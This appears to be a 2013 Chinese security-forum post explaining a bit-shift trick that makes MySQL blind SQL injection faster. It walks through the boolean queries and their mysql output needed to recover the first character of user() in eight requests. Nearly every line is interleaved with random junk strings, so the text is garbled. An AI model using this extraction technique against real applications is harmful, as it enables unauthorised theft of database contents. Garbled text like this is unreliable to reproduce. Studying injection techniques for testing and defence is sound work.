找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2019|回复: 0
打印 上一主题 下一主题

关于通过对8bit的ascii做右位移提高mysql盲注效率

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:25:30 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位: c% I4 |# g7 a. G" o

4 C9 T0 B! Q0 g$ k ( _7 s1 Q, S8 S. ^

& Z" B0 ~/ b8 L1 O9 J: K- U下面将以查询mysql数据库当中user()的第一位为例:
, |8 |4 }7 _2 l; P; s& z" ]
. g. g( q" a6 d# y1 E " h2 @+ }) t+ B- T

4 N: B  D, ]3 m& V/ y6 w9 S9 Yps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
% j* X/ _# L/ m& S' P! x1 s1 l/ h3 f. n
: @+ M/ J. m* r. T& _, H

) D# x" a. k- r5 u& d首先执行如下sql语句:2 c# I! X) i) v4 `; S, A

2 d1 [2 ]- R! C) H0 @
' b5 b0 F8 L9 u. K
% B( u/ H0 C: W- e8 w6 c8 Kmysql> select (ascii((substr(user(),1,1))) >> 7)=0;! F2 a) T# t; V* e$ _6 \9 d, ^. L

3 a- E5 s2 n. e2 {8 t( F6 z1 U
1 [7 r' a# `7 {7 K7 ?( J5 M8 V# c" r
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
9 P7 ~# N" N" W  \) G7 V4 G2 s7 A8 `! a4 x" q2 m
9 q5 i7 q! v" ]. O: n8 G
. r# [: C% M3 k) w9 E
第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
! H% \6 H# l- d+ J& {5 Y
" j4 O6 F, D, w  j( z- b
. Y8 e$ V' [; o8 Z- W- ~7 w$ [2 W4 k+ W4 K
如果运算结果为1,说明第一位为0,不为1* o; |# e3 [* l0 J9 a

2 n: g# O: O( C( P! z2 v0 B( n$ Q
0 k) n/ |' f/ u  X/ a* W8 Y, ?8 n8 l" }0 X$ W% E
+————————————–+
- N6 W9 Z3 ~( U4 Y5 W& |9 _  W" ]- K& Z+ n% F, H( o
| (ascii((substr(user(),1,1))) >> 7)=0 |( T* w% n+ G! n
7 V( X# T5 n: C3 R3 B
+————————————–+
. o$ W+ f  R. X+ L2 e6 f
- }, f. R4 S) Q7 N4 u" x| 1 |
* H- K0 b3 i3 U2 d$ k
. u6 Q7 z$ ^8 H$ `+————————————–+
. @0 w/ O# ]& X; x1 }' Y9 L9 G4 {, ~/ E
1 row in set (0.00 sec)5 i+ x" e9 i# R" l/ Q

. ~) F, e9 b1 n% n这样我们就确定这个8bit的ascii的第一位为0
7 e# I6 ^5 r5 l& y8 i8 B# r- _3 _/ V  y0 n. t' V

! K3 p# k; `6 c- h' A: |) \
3 k( Q7 a4 D. e& K! a" a8 E0 c# l第二次我们来做6次右偏移来确定前两位- ?6 z- l! Q; x9 L& `# r0 l

9 t8 [% Z, Z& D! {; N+ P 4 K; J+ f$ a# H7 Q

; G7 T6 E# _+ c8 b5 o8 B: ^前两位可能是01或00,即依然可以与0做比较,5 l5 e  Y1 V! p' K0 y

& g( p2 {8 z& X" Y8 M& Nmysql> select (ascii((substr(user(),1,1))) >> 6)=0;7 D& n, S8 P% `# D' Q5 r
3 ~% ~# j! T" n* e* F$ Z/ G
+————————————–+
& }. W9 h; F! N( z  q9 O+ l2 U, n" r  ]3 }5 l+ Z, g
| (ascii((substr(user(),1,1))) >> 6)=0 |) z* k8 l& o+ C+ f# z( a

6 Y+ }% t/ M7 A; ^* t  @3 O  h+————————————–+
6 K4 x' [- E3 H* u9 n; Q" m
2 Z; A: T+ w+ s# g$ G' c# g% j7 I| 0 |
8 c) h/ D% b* q" O% j6 n
- }' ]& `0 y3 S  T5 d: T* Y+————————————–+/ l$ S2 X2 I# H* u+ u

( m& {' `, [" `& Z  D0 ^: @1 row in set (0.00 sec)
; j4 z# A8 r+ w1 Y1 ~$ A: H7 h
* i( d& q( Y+ V# @
: G% {: z- g1 e, g/ Z: V2 L% O: r6 E+ a4 g' w5 d0 B* R
结果为0,即第二位为13 D5 r0 _4 F2 B2 f
  u, G- s' p9 O$ g5 I- E! `

' x% \5 l4 T3 ^7 a4 O0 Y- f; r6 ~1 q
1 j6 }. G4 a: r% U% r6 n7 P) {4 ^开始猜测前三位为010或011
# V% C+ u. c/ e0 o1 r" m+ |( c' n7 \4 `4 z

; @* ?" F" Z  @/ Q
3 e1 j* [1 d* U' O5 r让我们看看010和011的ascii码是多少
6 z- U4 w4 N/ G0 ]; U" s+ _( Y0 x# m. \8 J! {0 L, ?3 c
+ D9 |, K6 `7 F$ f6 _

6 E8 _9 B0 n# Q* p7 @4 j, S分别查询select b’011′ select b’010′3 A' D% k6 m0 |8 c0 g2 ?

9 s# U2 Q# L% t) _" d4 }4 g
# |* m$ Q) M4 H$ x& c& Y! |
8 Q$ [2 }4 \  a' T' H获得结果 010 = 2 011 = 3' Y* h( f$ R( u* F$ M' Y
8 `& M  V& |& b. U# w$ M

" Q- A% l. A" {9 b. j1 n- h
' F+ m. J2 C4 K执行如下sql:; Z+ r1 S. g. k9 P0 N- @% }: u* I

# o. Q3 D0 r! @6 F8 g) Z " I) V3 f" `3 O. Y" A
8 S$ l  [0 c7 R3 R7 J- B. ~0 z$ U
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;6 O9 g0 B# u) N! x
& {, o- i. P( N+ k
+————————————–+
$ [/ `. T( p& |2 {. X- x; c& _5 W0 Z7 y8 W: m
| (ascii((substr(user(),1,1))) >> 5)=2 |
3 x8 h: u% W0 ^, E2 a
' w: @- d5 ^2 A  u) v+————————————–+/ Y+ K7 p7 B0 b; Y8 r& X6 J! s

  s: E3 k# d: m# u3 A9 O| 0 |
: i# a! k# x: I* x2 {' @; c0 z
. k" K$ `! ^4 i! Z; \+————————————–+
6 D% {1 u9 n" Y
2 G, i3 ~/ U/ P即前三位不为010,而是0110 k/ `# O! _! W7 M; c
5 `& F4 `4 g# @4 u; o3 G4 F

3 Q# s, M# i. X8 O& W/ I- d4 x7 y& U  j
直到获得最后一位+ u% [9 i( H, f5 q7 G* g: R3 x3 Q% L* S

& b# c/ _- Y  d/ l+ {2 I . ]: y. d8 u7 W8 J: ]

$ b- @" o+ [/ M0 C  D& d最终结果为:01110010
+ l8 h1 w8 e, h. ^# l0 i3 S8 }, D8 j- T3 R! z4 S/ B( K

* ?. C  a9 u- T8 f) X: |$ ]2 j% l1 C0 e9 {: l" `
转换一下:
0 L8 q2 q1 U1 j1 U0 b/ Z
. i" }0 n+ V! |
# j* f! ~& J" ^  v6 r3 V) H  V+ s
! P( f* h) x" @select b’01110010′# K6 L7 P: \2 K( N
( X' ^4 x, t  N5 E' T4 F& ^
1 Z( e$ t* A4 J' Q2 i: G9 H0 d" z

8 _4 r3 t9 z) h3 F) E4 \查询结果
, w3 s0 s# b5 ], k/ q8 s; H4 G" }& p/ q8 X/ U+ q4 p7 a" X! S  A3 j2 Q
$ p: T! n8 m1 M2 V& _- X
, k8 D' H% v! {: l* {; ]
+————-+# O' z5 A3 f! n2 c. O9 z, r+ k2 ~
: B& m) l! `+ f4 F5 C5 p
| b’01110010′ |
9 t, _9 p7 N$ K; }; y; ~! F: E+ V& R- P* U. @& N
+————-+6 ~- @+ P0 o% X
7 \: C" C% q9 z& X7 B# p
| r |
5 l8 r( G$ m% \: n
; i5 ^' ?  W4 E9 F+————-+
1 j" K- _. E$ o% Y3 g! D3 K
/ W. _4 b/ C1 {& M% r2 q/ F1 row in set (0.00 sec)( S7 R) z. f6 W7 C# z/ t9 `
/ k/ j3 b- u+ Q% u2 m0 P

* D! l4 H7 |5 }0 P( D- o; o, v6 _. [* ^* g# O& E
这样我们就获得了user()的第一位.其它位依此类推& E" M0 C5 a4 Z8 u8 ~( h

8 Q( }4 s& W4 f6 F1 x4 P
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表